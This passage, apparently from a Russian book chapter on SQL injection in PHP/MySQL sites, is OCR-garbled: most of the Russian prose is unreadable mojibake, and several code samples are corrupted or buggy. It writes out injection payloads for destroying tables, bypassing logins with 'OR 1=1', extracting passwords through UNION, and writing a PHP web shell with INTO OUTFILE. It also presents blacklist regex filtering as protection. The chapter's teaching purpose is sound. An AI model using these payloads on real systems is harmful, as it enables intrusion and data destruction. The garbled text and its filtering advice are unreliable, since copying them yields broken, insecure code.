napaMeTpa, ¥ MporpaMMa BhIMOJIHSAET 3TOT 3anpoc. Eciu 3oyMbllIEeHHHK cMO-
xet BeinoaHaTh SQL-KoMaHnsl HA cepBepe, eMy JocTatodHo GyleT y3Hath WM
Tabauu, uMenHxcs B 6ase maHHBIX, YTOOR YHUUTOXHThL BCE JAHHBIE KOMAaHIOI:

DELETE
FROM Vmn_Tabmavst

st moHuMaHuA MOCNenylouero Marepuaia BaM HeoGXOIMMO 3HATh OCHOBBI
a3bika 3ampocos SQL-92, noromy 4TO 3T0 OCHOBHON €HOCOH MOCTYNA K AAHHBIM.
JlasaijiTe paccMOTpMM, Kak xakepsl npoussoasr araky SQL Injection, T. e. Kax
OHM WULYT MoaoGHYIO YA3SBMMOCTb HA cepBepe, W KaK oHa peanusyercs, [domyc-
THM, YTO y Bac ecTh Tabnuua noaslosareneit Users, cocrosimas 13 Tpex moseii:
"id", "name", "password". 3anpoc Ha BbIGOPKY AAHHBIX MOXET UMETh CHELYIO-
Wil BRI

SELECT *

FROM Users

WHERE id = $id

B nanHom sampoce mnone “id" cpaBHMBaeTcs co 3HaueHHeM nepemeHHoM. Ecam
3TA NepeMeHHas MojyyeHa Kak napamerp cuexapus yepes URL wnu cookie, u He
NPOMCXOMNT HUKAKHX TMPOBEPOK HA 3anpelieHHble CHMBOIBI, TO 3aNPOC YA3IBUM.
Haynem ¢ mpocreifiiero npumMepa Toro, KaK xakep Moxer mMoauduuuposars 3a-
npoc. Baw cuenapuit wuier B rabauue cTpoKy ¢ napaMerpamu 1ojab3oBarenst 1o
ee uaeHTHGUKATOPY. A €ciH Mepelars B KavyecTBe MepeMeHHOo $id ClemyromHii
TEKCT — 10 OR name="Ammuucrparop", TO 3aNPoc OYIET BhITTSAETH YXe TaK:

SELECT *
FROM Users
WHERE id = 10 OR name="AmmHucrparop”

DTOT 3aMpoc MOKAXKET YKe He TONbKO 3anuck, B KoTopoit nose "id" pasHo 10, Ho
W 3aIMCh, B KOTOPON MM TONB30BATE/sl PaBHO "Ammuucrparop”. Takum obpa-
30M, XaKep CMOXET YBHIETH NMApPoib AIMWHUCTPATOPA M MOAYMUTH HOCTYN K 3a-
NPeUIeHHBIM faHHBIM. YTODBI 3TOro’ He MPOM3OUIIO, BBl JOKHB YETKO Tpe-
CTABJAITHL cefe, Kaknue JaHHbIe XpaHsTes B Tabuuile, 1 MO3BOISITH MONB3OBATENSIM
nepenasarth B KAYeCTBE MapaMeTpa TONBKO Te AaHHbie, KoTophie paspeuienbl. Ha-
npumep, mone "id" — 310 wHenOBOE mone, a4 3HAYMT, B NEPEeMEHHOH He MoXer
6biTe HU4ero, kpoMe udp or 0 1o 9. IlepemeHHYI0 $name MOXHO obpaborars,
KaK [OKa3aHo B cAEyIOleM MpHMEpE!

<form action="dbl.php" method="get">

<input name="id">
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</ form>

<?php _
$id=preg_replace("/[~0-9}/", "*, $id)}
print ('SELECT * FROM Users WHERE id=',$1d);:
>

CoxpaHute 310T Kol Ha cepsepe B (haiine dbl.php u nonpobyiite sarpysurs ero
B Web-6paysep. llepen Bamu no/KHA MosiBUTHCS (opMa Wis BBOAA HMASHTH-
¢ukaropa, no koropomy Oymer mpoucxoiuts nouck. [Nonpobyiite BBecTH B Hee
10 OR name="AmamucrpaTop” W Nepelars cepsepy. Cuenapuii, nonyuus nas-
HbIE, BHIMOJIHUT CHAYANA CIEIYIOIYIO CTPOKY:

$id=preg_replace("/[*0-9]/", "', &id);

3neck MBI 3aAMEHSIEM B NepeMeHHOH $id Bce CHMBOJIbI, KOTOPhIE He SBASIOTCH
ungpamu ot 0 10 9, Ha nycroit cumsosn. Iloce 3TOro or CTPOKH, KOTOPYIO Bbi
NepenaBany CepBepy, OCTAHETCs TOABKO uHcao 10, a Bee JNOMONHUTEABHBIE CHM-
BoJibl OyIyT ynaneHbl

Co cTpokamMH HYXHO TOCTYNarh Tak xe. JonycTnm, YTO MOMCK MPOMCXOMUT 110
nonio “name”. Kak no6utbes, 4yToOsl Xakep He cMOr BBECTH HETOMYCTHMBIH cHMBOI
W BanoMars Gasy gaHHBIX? B cTpoKax MOryT ucnonk3oBatsesi GYKBBL U HHOTAA NPO-
Gesrbl, ec/ii B TIONE MOXET GhITh TEKCT H3 HECKONLKMUX CJIOB, MO3TOMY KO ToJTyye-
HHUS NIapamMeTpa OT NOAb3OBATENS NOJDKEH BBITTISIETh cieylommm obpasom:
<form action="db2.php" method="get">

<input name="name">
</ form>

<7php
S$name=preg_replace("/[“a-zA-20-9 ]/i",
**, Sname);
print ('SELECT * FROM Users WHERE name=',S$name);
>

B sToM npuMepe Mbl 3aMeHsIEM Ha IMycTO CHMBOJ BCE, YTO He OTHOCUTCH K Gy~
BaM, uMdpam unu npobenam. Takum obpasoM, CHMBONLL ABOHHOM WM omuHap-
HOH KaBbIMKH OymyT sanpeilleHbl, ¥ ec/lH Xaxkep MoMNbITaeTCs Nepenarb CTpPOKY:
10 OR name="Ammuucrpatop", TO B PE3yIbTaTe B 3aAMpPOC MOTNAHET TOJbLKO
10 OR name=AmMmHUCTPaTOp, & 3T0 YKe omubKa, H TAKOH 3ampoc He OyIeT Bbl-
TIOTHEH.

Ecnu Bl yBEpeHBI, YTO MOJie HE MOXET COIepKaTh TEKCT M3 HECKOIBKHX CIIOB, TO
JIMLIE 3AMPeTHTD MOJL3OBATE/IO MEPEIaBaTh CLEeHApHi0 TIpobensi.

PerymsipHoe BhlpaXeHue "/[*a-zA-z0-9 ]/i" 3anpeniaer mobbie cnelrdatbHble
CHMBO/IbI, HO MHOIAA oHM ObiBaloT Heobxoaumsl. Hanpumep, B none mMoryt ObITH
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CHMBONBL [ WIH 1, M Bbl COMTETE HY)XHBLIM Pa3peiinTh MONL3OBATENIO HEepesaBaTh
ux, Ma, sro srnonne Gesobuano s SQL-sanpoca, HO He Bce CUMBOMLI CTOJNb
OesonacHel. [laBaiite paccMOTPHM, YTO HUKOTHA HENb3s Pa3pelaTh:

m]

m

0

OnuuHapHsie W aBoHHBIE KaBBIYKH. Takmne CHMBOJIBI MCMIOMB3YIOTCH B 3aMpocax
VIS BRIAEJICHMS,

3uak paseHcrsa. Pacemorpum npumep. Hdonyernwm, 4ro B rabnuue ecTs [Ba
yrcnoskix nons "id" u "age", u 3anpoc Ha BLIGOPKY NAHHBIX BBIDISUINT TAK:
SELECT * FROM Users WHERE id='.$id

Eci Xakep NOMECTHT B MEPEMEHHYIO $id CTPOKY 10 OR age=20, W NPH ITOM

paspeueHsl npobeibl M 3HAK PABEHCTBA, TO 3anpoc K Oase NaHHBIX TpeBpa-
THTCS B CACAYIOLIMIA:

SELECT * FROM Users WHERE id=10 OR age=20

Ecam e cMMBOJI paBeHCTBA 3anpeiieH, To 3anpoc Gyler tTakum:

SELECT * FROM Users WHERE id=10 OR age20

Bro yxe ommnbka, ¥ cepsep 0a3 JaHHBIX HE CMOXET BBITOIHUTH 3alpoc,
8 3HAYUT, XaKep He YBUIHT HYKHBIX eMy JaHHbIX,

sa Tupe noapsn. B sizpike SQL nsa TMpe o3HayaloT KOMMEHTApHil, W Xakep
TaKuM OBpPasoM MOXET M3MEHHMTb JIOTWKY 3anpoca. Hanpumep, y Bac ects
3arnpoe:

SELECT * FROM Users WHERE name=$name AND id=6id
Teneps NpeACTaBUM, UTO B NEPEMEHHYIO $name XaKep MOMECTH TEKCT:
AmoHMC TpaTop—-

B sTom ciyuae 3anpoc M3MeHWTCA Ha CleLyloLii;

SELECT * FROM Users WHERE name= AmasiHucTparop-— AND id=$id

Bee, uro HaxoaMTes nocie ABOHHOTO THpPe, — KOMMEHTAPHIl, MO3TOMY cepBep
BEITTOJTHHT TOJIBKO 3AMpoc:

SELECT * FROM Users WHERE name= AmmHHUCTPaTOR

Taxum oBpasoM, Xakep cMOXeT OTOPOCHTH HEHYXHbLIE eMy NONOMHUTENbHbIE
TIPOBEPKH H TIONYYUTh GoNbile JAHHBIX, YeM HeoOXOMnMO.

Touka ¢ 3anaToi. DTOT CUMBOJ HCIOAB3YETCH ISl pasaeseHus 3arnpocos Me-
X1y coboii. Cepsep MOXeT BBINOMHATE HECKOABKO JAGHCTBUI OXHHM 3anpo-
COM, M OHM JOJDKHEI OBITh pasieneHsl Toukoit ¢ zanartoi. Kak sTo Moxer uc-
noJsib3oBark Xakep? PaccMoTpUM nmpuMmep 3anpoca:

SELECT * FROM Users WHERE id=$§id

Teneps MPeNCTABAM, YTO XAKEP MOMECTHN B MEPEMEHHYIO $id TEKCT:
10;DELETE FROM users
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Takum oBpaszom, cepsepy Gyier HanpasneHa CHEAYIONIAs CTPOKA C 3arpOCoM:
SELECT * FROM Users WHERE id=10;DELETE FROM users

B orBer Ha 57O cepmep 6a’bl JAHHBIX BLIMOJIHUT IBA OTHENBHBIX 3aIipoca:
SELECT * FROM Users WHERE id=10 ¥ DELETE FROM users, T. €. CHAYANA U3
tabmuiel Gyayr BuiGpaHbl IaHHBIE, a Yxe noToMm Tabnmua Gyger odMiLEHA,
Hekoropsie rmporpaMMHCTsl CHHTAIOT, YTO €CNy 3AMPOC CIOKEH, TO XaKep He
CMOXEeT BCTABHTH B Hero etue ofuH 3ampoc. Hanpumep:

SELECT * FROM Users WHERE id=$id AND name='Ksay'

B 3tom 3anpoce ecTh MOMOJHHUTE/IbHOE YCJIOBHE AND name='Hsas', HO €ro
NIerKo oTOPOCHTB, EcH Mepesarsh B Kayectse MepeMeHHoW $id caemylomuit
TEKCT!

10;DELETE FROM users--

Cepgepy Gyier HanpagneH creiayioinit sanpoc:
SELECT * FROM Users WHERE id=10;DELETE FROM users-- AND name='Maas'

TMonywaerest, 4To AONONHATENbHAA NPoBepKa OyzneT npocTo oTépolieHa.

O 3anpemaitte CUMBOIB KOMMEHTAPHEB, T. €. aBoifHOE THpe M /*. Kak Mbl Bu-
Qe paHee, ¢ MoMOLUBI0 KOMMEHTAPHES 3JIOYMBIUUIEHHUK MOXeT oThpocuTh
HEeHYXHYIO 4acTh sanpoca. KoMmMmeHTapuii ¢ ABOHHBEIM THpe MBI yxe obcynn-
nu, nasaiite paccMoTpuM /*. Bee, uro HamMcaHo MeXAy CHMBORAMHU /* H */,
CHHUTAETCS KOMMEHTapMeM, HO MPH 3TOM HAXHMHE 3aKPBLITHA KOMMEHTapus
(*/) ne sasngercs obssarensHbIM), [loeMOTPUM HA CEAYIOUIMIT 3aMpoc:

SELECT * FROM Users WHERE id=10;DELETE FROM users/* BND name='Wsau'

[Mocnenree ycinosHe AND name='Meax' Oyaer oTGpolleHO, MOTOMY HTO OHO
uaer nocsie Hayajga KommerTapus /+. Hecworps Ha TO, 4TO CMMBOJIOB 3aKpbl-
THA KOMMeHTapusi (*/) B sanpoee Her, cepsep 6assl maHHbIX Oyner moapasy-
MEBATL, YTO 3AKOMMEHTHPOBAH BECh KOI 10 KOHLA 3ampoca.
Ecim nBoitHOe THpE senaeT KOMMEHTApHeM BCE N0 KOHLUA CTPOKH, TO CHMBO-
Bl /% M */ TIO3BOJSIOT CO3AATh MHOTOCTpO4HBIA KommenTapuit. Homycrtum,
4TO Y BAC €CThb 3aIpoc:

SELECT *

FROM Users
WHERE id=10

AND name="lsas’
B naHHoM ciyyae rmoapasyMeBaeTcs, UTo 3amnpoc COCTOMT U3 HECKOMBLKUX CTPOK,
M y HEro MMEHHO Takoil Buia. EciM Xxakep cMor cKOMIPOMETHPOBAThH 3HAYEHHE
napaMeTpa id W BCTaBUTL CBOIl Koll, To 3anpoc OyAeT BuITSAAETb TaK:

SELECT *

FROM Users
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WHERE id=10;DELETE FROM users --
AND name='lsas'

HecMoTpst Ha TO, YTO XaKep BHEAPHI CHMBOMNBI HAYyana KOMMEHTAPHS B KOHEIl
Tperbeil CTPOKH, uersepras crpoka He Oyner kommenrapuem. Ho caenyiommit
3ATIPOC MOZBOJAAET 3AKOMMEHTHPOBATH BECH KOIL TIOCHE /*, BHE 3aBHCHMOCTH
OT HAYaNa ¥ KOHUA CTPOK:

SELECT *

FROM Users
WHERE id=10;DELETE FROM users /*

AND name="Msas’
Teneps mnocneanss crpoka Oyner BocnpwHUMATECS cepBepoM 623 MAHHBIX
WMEHHO KaK KOMMEHTAPHiA,

O Eciu Mojie MOXET CONepXaTh CIUIIKOM GONbUIOE KONWYECTBO NEpedncieH-
HBIX BBIE CHEUHATLHBIX CHMBOJIOB, TO $1 PEKOMEHIYIO 3aNpeTUTh €lle U
WMeHa OCHOBHBIX oneparopoB SQL: insert, update, delete, or, and ¥ T. /L.
IMepsbie TP U3 HUX MOXHO 3ampelarh U BCEX MEpPeMEHHbLIX, KOTOpbie pa-
6OTAIOT ¢ TEKCTOBBIMM nojsiMit. TTpn 9TOM BBl AOIDKHBI GBITE YBEPeHbI, YTO
nose B TabNULE HE MOXET COHEPXKATH TEKCT ¢ TAKUMH CIOBAMM WIHM 10530~
BaTENb HE HYXHaeTcs B 3TuX cumBonax. Hanpumep, cieayiouuit 3anpoc 3a-
NpeiiaeT NPUMEHEHNE He TONBKO BCeX CNeUMANbHBIX CHMBOIOB, HO H OCHOB-
HBIX oneparopos SQL:
<?php

$name=preg_replace("/[“a-zA-Z0-9 ] |insert|delete|update/i",
"", $name);
print ('SELECT * FROM Users WHERE name='.$name) ;
>

O Ocoboe 3HayeHue B s3pike SQL nMmeer KioyeBoe cIOBO UNION, KOTOPOE NO-
3BOJIsieT OOBEAMHATH 1BA 3anpoca B oAWH. JOmycTHM, YTO Yy Bac €cTh 3ampoc
Ha BLIDOpPKY UMEH Moas30BaTeael U naponeit U3 Tabuuisn
SELECT maa, napodk
FROM ratmua
WHERE id=$id
3agaua xakepa — Cjle/laTh 3anpoc ouboYHbIM, YTOOb €ro TeKeT oTobpasuics
Ha akpane. [Tocse sroro nepemenHas $id MoxeT 6bITh MOmHMHUIIMPOBAHA TaK,
YTO 3aIpoc MpUMET CAENYIOLINA BUL!

SELECT umst, napois
FROM maGmiua
WHERE id=1
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UNION
SELECT wma, Napois
FROM raGmua

B atoM mpumepe BLINIOMHSIOTCS IIBA 3arpoca, HO Bbl BUAMTE eIWHLIH pesyis-
TaT. MaHavanbHO KOI BO3BPAILAL TONLKO OAHY CTPOKY ¢ MMEHEM [0b3oBaTe -
NIl ¥ TIapoJieM, HO MbI BCTABHJIM [MOC/€ UNION HOBbII KOI 3ampoca, KOTOphii
BBIBOAMT TAOGAMILY MONHOCTBIO, W XAKEP CMOXEeT YBUAeTh NoaHyio 6a3y AaHHBIX
nons3osareneil caiira.

Yro6sl 3anmpoc GbuI BEPHBIM W BBINONHMWICA, ofa oneparopa SELECT HODKHBI
BO3BpALLATH OIMHAKOBOE KOJIMYECTBO KOJOHOK, & JUISl HEKOTOPHIX 6as MaHHbIX
HeoBXoIMMO COBMAJeHHEe W THIIOB 1OJeil, HO MociAeAHEe JIerko peanusyercs
¢ nmoMolubio QYHKUMA npuseneHus THos. i Toro 4roGbl BHINOAHATE 0ba
YCIIOBMA B 3ampoce, MOACTABIAEMOM IOCTE KIIOYEBOrO C/IOBA UNION, Xakepy
HYXXHO BHIETh MCXOIHBINH 3anpoc, KOTOPhI OH KOPPEeKTHPYET.

O Kpyrasie ckobku B SQL-3anpocax MMEIOT IOCTATOYHO WIMPOKOE MPUMEHEHUE,
HO camoe CTPAaILHOe — 3TH CHMBOJIBI MCHONL3YIOTCS B (QYHKUMAX WIS 3a0aHms
napameTpoB. Ecim BBl 3anpeTwiM Bce CHMBOJBI, ONMCAHHbIE BbIIE, HO pa3-
peluMIH Kpyriable ckoOKu, TO CMBICHA B Balleil sauure HuKakoro Her. Xakep
MOXET BOCIONB3OBATECH CHEUHANLHBIME (YHKHMAMM, KOTOPLIC MO3BONSAIOT
BCTABMTH B 3anpoc HeoGxomuMslii cumBol. B 6ase mantsix MS SQL Server (na
M B HEKOTOPBIX APYrux) ecth PYHKUMA char (), KOTOPOH HYXKHO MepesaTs Ko
HeobXomMMoOro cMMBONA, 4ToObl OHa BO3BpaTHma caM cumBoia. Hanpuwmep,
KOHLIY CTpOKM coorsetcTByeT Kom Ox13, a kaBeluke coorsercrByer Kom 0x27.
3HayMT, 4TOGLI BCTABMTH 3TOT CHMBOJI B 3aIIpoc, MOXHO HAMHCATH:

none=char (0x13) +3Hauenue+char (0x27)

Takum obpasom, ecnu paspellleHbl Kpyrias ckobka M yHKIMA char(), To
MOXHO CYMTATh, 4TO paspeineHo abGcomioTHo Bee. (DYHKIMIO char() MOXHO
(maxe HYXHO) TakKe (QWILTPOBATH C MOMOIUBIO PEryISPHBIX BBIPKEHHIA:
<?php

$name=preg_replace("/[*a-zA-Z0-9 ] |char/i",

", Sname) ;
print ('SELECT * FROM Users WHERE name=', Sname) ;
7>
O Yr1obel yeOXKHUTE BATOMILMKAM TIOUCK OIMBOK B 3anpoce, MOXHO 3alpeTHTh

WCIONBIOBAHNUE CPABHEHUst '1'='1 (MoXeT BpITk U Ge3 KaBhiyeK, B 3aBHCHMO-
CTH OT THNA M3MeHseMoro napametpa). Yro aro takoe? JdonycTum, urto y Bac
ecThb 3arpoc:

SELECT *
FROM Vs _Tatmaip
WHERE lone="'§llepemennan’
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Teneps npencTaBuM, 4TO $Nepemennas MOCTYIIHA XaKepy, M 3HAYeHUe B Hei
He nposepsiercst Ha cnyxebusie cumBoasl SQL. Camsiil npocToit cnocob ysu-
neThb coepxumoe Beell Tabnuilbl — BCTABUTH B NepeMeHHYIO ceayoulee:

3navenme' OR 'l'='1l

Teneps 3anpoc Gyner BBINISLETH TAK:
SELECT *

FROM Mma_TaGnmigr

WHERE [lone="3nauenve’ OR L=t

B cexkumn WHERE 2Ba YCNIOBHMS CBA3aHbLI OMEPATOPOM OR, M CTPOKM ByayT no-
nanarh B Pe3ysbTaT, €M XoTs Obl ONHO U3 ycioBMil BhinonHeHo. Camoe WH-
TepecHoe — 3T0 BTOpoe ycloBHE, rAe HamucaHo '1'='1'. OHO Bceraa BO3-
BpalllaeT MCTHHY, @ 3HAYUT, B PEsybTaT NomaayT sce sanucu tabnauusl. Eciu
3ampeTHTh Mcnonk3osanue B SQL-3anpoce yenosusa | = 1, To aror mpocToit
MeTol yxe He cpaboraer. KoHeqHO Xe, yCIOBHE MOXKHO 3aMEHUTh HA 2 = 2, U
peaynsrar Oyaer TeM Xe, HO caMoe MHTepecHoe, YTO GONLIIMHCTBO XAKepoB
(naBeproe, 99 n3 100) muwer umento | = 1. 5l HassiBal0 Takoe yClOBUE BEY-
HO MCTHHHAIM, MOTOMY YTO HHOTO Pe3yAbTaTa OHO BEPHYThH HE MOXET.

Beuno MCTHHHbIE AHAYEHUS MOTYT HCIONB30BATECA HE TOJILKO UTS TpocMoTpa
comepX)uMOro Tabauil, Ho U Uil paciuMperus npas. JonyctuM, uTo Ha caiite
4BTOPHBALIMS BLINONHEHA B BH/E NMPOBEPKH, YTO 3ampoc BO3BPATHI XOTsl Obl
onxy 3anuck. Ecim aro Tak, noas3osareib apropuayercs, Hanpumep, Bbinosn-
HAETCH CHEAYIOIMI 3ampoc:

SELECT *

FROM TaGmiua

WHERE user=Suser

AND pass=§pass

Ecnu nosb3osarenb BBea WMSt M Napo/ib, KOTOPbE CYHIECTBYIOT B Tabmnue, To
3aNpoc BEPHET COOTBETCTBYIOLLYIO 3AINCh, HHAYE KOJHYECTBO CTPOK B Pe3y/ib-
tare Oyzser paBHo Hy/io, U aoctyn Gyner sanpeweH. Ho MoxHO Moaubuumpo-
BaTh 3aMpoc CIeAyIomMM 06pasoM:

SELECT *
FROM Tatmua
WHERE user=Suser

AND pass=$pass OR 1=1
Teneps 3anpoc Beerna Bo3BpaiiaeT XoTs Obl OAHY CTPOKY, W XaKep Mojydaer
JOCTYN K JAHHLIM, KOTOPbIE JIOJKHB! GbITE 3aKPHITEL OT TIOCTOPOHHEro B30OPA.

n‘plll paspaﬁcmce 3aMpocoB Bbl MOXETE 3AKIIOYATH 3HAYEHMS B OAMHADHBIE Ka-
BBIMKH WaM Het. Hanpumep, crenyioiue asa 3arnpoca HAEHTHYHBL

SELECT *
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FROM Tabmmua
WHERE id=1

"

SELECT *

FROM TaCommua

WHERE id='1'

B nepsom 3anpocé nose "id" cpasHuBaeTcs co 3HaveHHeM |, a Bo BTopoM 3arnpo-
Ce YHMCNO 3aKMOYeHO B OAMHAPHBIE KaBLMKA. KaBblMKH ABASIOTCH 0OA3aTENbHBI-
MH, TOIBKO EC/IH 3HAYEHHEe COAepXUT npobes, a 3HAUMT, UMEET CTPOKOBBIA THI,
HO 51 PeKOMEeHAYI Memojib3oBarh WX Beerna. [Touemy? domyctmm, 4TO BMECTO
yucna | y Hac Gurypupyer 3HayeHWe repemMeHHol, KoTopas mependetrcs B Npo-
rpammy nosbsopateneM. Ecan xakep NepenactT B KavecTBE 3HAYSHMS YITPABIHIO-
e euMponst A3sika SQL, To sanpoc GyAeT BLIVIALETH CledylotiuM obpasom:
SELECT * :

FROM TaBipaua

WHERE id='_?--%='

Bece 3TH CHMBONBI HMEIOT ONPENESCHHBIH CMBLICK, HO TONBKO BHE KaBblveK.
B nannOM cityqae OHM BOCIPHHMMAIOTCS KaK CTPOKA W HE MOIYT MOBIHATE Ha
pabory cuenapusi. ExnHcTBeHHOE, YTO HeoGXOAMMO BEIPE3ATH W3 NEpeMeHHON, —
kaBbrKy. ECIH TIONB30BATENb CMOXET €€ MepefaTh CUEHAPHIO, TO OH CMOXET
u npoussecty araky SQL Injection. Hanpumep:

SELECT *

FROM Tafiymius

WHERE id='1' OR 1='1'

B kavectse 3HAYEHUS NepeMeHHON Xakep mepeaan CTPOKY 1' OR 1='l, B KOTO-
poit nocne yuena 1 3akpeinachk KABhIMKA, W A00aBNeHBl HOMOJMHWUTEILHLIE M4pa-
meTpsl B SQL-3anpoc.

Taxoif npocToil MEeToN NMO3BONAET YCIOKHUTH Xakepy xu3ub. Ho npu stoM He
cronT 3abhiBath Tpo cymectsopaHue arakm CSS (Cross-Side Scripting, Mexcaii-
TOBBIE CLIEHApHH), O KOTOPOif Mbl MOTOBOPUM B pasdease 3.11.

3.8.3. Pa6ora c chaitnamm

Yepes SQL-3anpockl Xakepsl MOTYT MOMYYHTL JocTyn K (aitniosoif cucreme. Ha-
npuMep, cieayioumit koa coxpanger 8 PHP-¢aiine cueHapuii:
SELECT '<?php system('napamerpum') ?>' INTO OUTFILE 'shell.php'

Takum o6pazoM, Xakep MOXET CO3[aBAThb Ha CepBepe CHEHAPUM CO CBOMM KOIOM
CO BCEMM BHITEKAIOUIMMH NOC/eACTBUAMM. A ecnu daiinsl cleHapHeB NOCTYHbI
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IUIST 3AITUCH BCEM TOJIL3OBATeNSM, TO XAKEP MOXeT Iepesanncarh YKe cyulecr-
Bytouuit taiin, a 310 yxe upesaro nedeicom.
SELECT '<B>You hacked</B>' INTO OUTFILE 'index.php'

Xakepel o4eHb ¥acTo Wcnonb3yior SQL-xkoMaHay INTC OQUTFILE MU CO3AAHHS
pamna rabaun Gassl garusx. Hampumep, BITOMINHK MONYYWA AOCTYH K BhITO/-
HEHMIO KOMAHJ W, COXPAHSsl Pe3y/ibTaT CBOMX 3aNpOcoB B TekcToBom daiiie, Mo-
ket norom 6e3 npoGneM ckayars aror daitn wis pasbopa B ceoboliHOE BpemA 3a
vaineykoit Kode.

3.8.4. Npakrtunka paborbl ¢ 6a3amMu faHHbIX

O6pamaiite BHHMAHIE HA BCE MEPEMEHHBIE H MAPAMETPBI, KOTOPLIE HCMOAL3YIOT-
ca npu dopmupoBaHuu zanpoca. laxe eciu bl jymaere, yTo IOJb30OBATENb He
MOXKET MOBINHSITE HA CONEPKMMOE MepeMeHHbIX, HeobXomuMo MPOM3BOAUTE BCE
nposepky, Ceroans nepeMeHHan 3aiaeTcs cTaTHYeckKy B CLEHAapHM, 4 34BTpa OoHa
MOJKeT 3amaBarses yepea crpoky URL.

QOuens yacro, paspabareiBas cailT, MporpaMMKCTBl COXPAHSIOT B 'raﬁnmxc 6assl
HAHHBIX CONEPXUMOe ocHOBHOIT YacTn Web-crpanun. CrpykTypa Tabmuusr Moxer
ObITh 11060, HO CMBIC/ MTOYTH BCErAd OIUH — KIIIOY W MO, KOTOPBIE CouepiKar
naHHbie, orobpaxaemsle Ha crpanuue, Ctpoka URL wia Takux caifToB BHIDISIUT
CHIEAYIOIMM 0Opazom:

http://www.sitename.com/index.php?id=N

Yepes crpoky URL nepemaercsi mapamerp id, KOTOPOMY NpPUCBAMBAETCH YHCIIO-
Boe 3Hauexue. MMs napamerpa moxer OLITH ApYrUM (Halne s BCTPEYal0 MMEHHO
id), HO CMBICJ 3TOrO Mapamerpa — WIEHTH(DHUKATOP CTPOKM B Tabiuiie, AaHHbIe
KOTOpOil HYXHO 0TOGpa3sUTh HA CTPAHMLIE.

Korma nmonmbsoBares 3anpauivBaeT OfpefesieHHYI0 CTPAHMIY, MPOHCXOONT Cie-
ayiolee:

1. C nomouisio PHP-xona 3arpyxaercst ua daiina manka crpasHuiisl.

2. W3 rabnuust 6a3sl JAHHEIX 3aMpalldBaeTCsi CTPOKA ¢ MACHTH(HKATOPOM, me-
pelaHHEIM B KaYyecTse napamerpa.

3. Ha ocnose nonyuenHoit ctpoku Qopmupyercs Web-crpannua.

4, 3arpyxaetca 1 oToOpa)aercs roABax CTPaHWILL,

JTio6oit xakep, Koraa oH 3axoanT Ha Web-caiit u sugnr B crpoke URL napamerp id,
MEepBBIM JIEJIOM MBITASTCS MOACTABATL B Hero ciyxebubie cumsonb SQL, xorto-
pble Mbl paccmatpuBany paree. Ecau cuenapuit He GuABTPYeT NepenaHHbe cHM-
BOJIBI, M MPH STOM Ha cTpaHuue orobpaxaercs ommubounsit SQL-3anpoc, 10 xa-
Kep MOXET OIpeaeanThb:

0 wucnonb3yembie Ha caiiTe 3ampochl;

O npubGaUsHTERbHYIO CTPYKTYPY TaONHLEl ¥ 6a3sl NAHHBIX.
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JansHeliue DeHCTBUS — [MONBITATLCS ¢ NOMOIUBIO CHYKEOGHBIX CHMBONOB MO~
macpunnposars SQL-3anpoc Takum obpazoM, uTobsl moayunTh Gonbiuue npasa,
VBHIETH 3aKpBITYIO 00/acTh caifTa, YHHYTOXHTH WIM TOAMEHUTH JaHHbie (T. e.
BBITTOTHUTE Aedeiic).

Yrobsl MHUHHMH3WPOBATH BEPOATHOCTh OMIMOKM, XenarelbHO HamucaTbh (GyHK-
LMo, YOUpaIoIyl0 BCe HEZOMYCTUMBIE CHMBOJIBI, W MOTOM BBISBIBATH €€ Ul KAk~
JIOT0 MapaMeTpd, UCITO/Ib3YEMOTO B 3alpocax:
function prepare_param|$param)
{
return preg_replace('/[“a-zA-Z0-9 ] |insert|delete|update/i",

“*, Sparam);
}
mysql_query("SELECT * FROM Users WHERE name=".

prepare_param($name) ) ;

Ecnu BBIACHUTCH, YTO B BalleM PEryIsapHOM BBIPAXKEHHM JomyieHa owmubka u
XaKep CMOr BOCIMOIb3OBATLCS YA3SBHUMOCTBIO, TO NOCTATOYHO TONBKO MOAMPABUTEL
yHKIMIO prepare_param(). Toraa Bce napaMeTpsl, KOTOPbIE NPOBEPSAIOTCA TOMH
dynxuneit, cranyr Gosee 3alUILEHHBIMHA.

HawnGonee onmacHeIM MeCTOM SBIAETCS NMPOBEpPKAa HMEHH MMOMb30BATENSl W Mapo-
Jsi. Bee cneuManucTsl B OJIMH rOJIOC TBEPIST, YTO NApoib AOMKEH GbiTh Mak-
CHMAIBHO CIOXHEIM, YTOOR HCKTIOMHTE Moa6op no ciosapio. s aroro B na-
pojie JO/KHbBl OJHOBPEMEHHO COHepXaThcsl OyKBbl B BepXHEM M HIDKHOM
peructpe, uHdps W Apyrie cUMBOJEL (NOAYepKHBaHAe, THPE W T. X.). OnHaxo
C 9THMH CUMBOJIAMU Yallie BCero BOZHUKAIOT npobiieMbl, ec/ld Balla MPOBEPKa
BBITJISIANT KaK:

SELECT *
FROM Users
WHERE Name=$Name AND pass=$pass

Yauie Bcero MCMONB3yeTcsl 3allpoc MMEHHO Takoro BMA, M YCIOBHE NPOBEPKH
napojis HAXOAMTCsS B KOHIe 3anpoca. Ecnu B mapone He Gyayr dunbTpoBaThes
cneuuaIbHble CHMBOJBL, TO XaKep Jerko CMOXET IOMYYUTL JOCTYI K 3arpeniex-
HOIl 30He MJIM BOWTH MO MMEHEM APYroro mojb3oBareis. Bor u npuxoavrtes
BBIGHpaTh — WIM MPedOCTABUTE MONBIOBATENAM BO3MOXHOCTEH 3aaBaTh CIOXK-
HBIe TApONM ¢ mMOOBIMM CUMBOJAMM WIW OrPaHUYMUTHECH TONBKO OYKBEHHO-
LbpOBBEIMU HAPONSIMU, HO obe30MacuTs CLEHApUK cepeepa,

B peajrsHbIX MPOrpaMMax He PeKOMEHIAYeTCs XPaHWTh Napojiii B OTKPBHITOM BHILE.
OHHM NOmKHB Beerfa mudposarses, HANPUMEDP, ¢ NOMOWbI0 mdS, U XpaHUTLEA
B 6a3e maHHBIX H B ¢ailnax cookie B 3amudposarHoM suae. B aToM ciyyae Helb-
351 M3 MApossl YAANATH CHEIMaibHbBIE CHMBOABL, HHAYE Mbl HAPYIIMM X3II-CyMMY,
W cpaBHeHMe ABYX 3auridpoBaHHLIX NMApojieil MOXeT BbIIATH HEBEPHBIN pe3yiIbTar.
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BOra npobnema pemraeTcs NOCTATOYHO MPOCTO ~— HE WCHONb3YiiTe NEepeMeHHYI0
¢ napojiem B 3anpoce. B 3ToM ciywae mposepka napofisi JO/DKHA BHINOTHSTHOH
MPUMEPHO CeaylomuM 0bpasom:

Squery = DBQuery("SELECT * FROM Users WHERE (name = 'Sname');

Susers = mysql_num rows (Squery) ;
if (1Susers)
die("OumBra asropusawmm");

Suser_data = mysqgl_fetch_array(Squery);
if (Spass = Suserd[pass]))

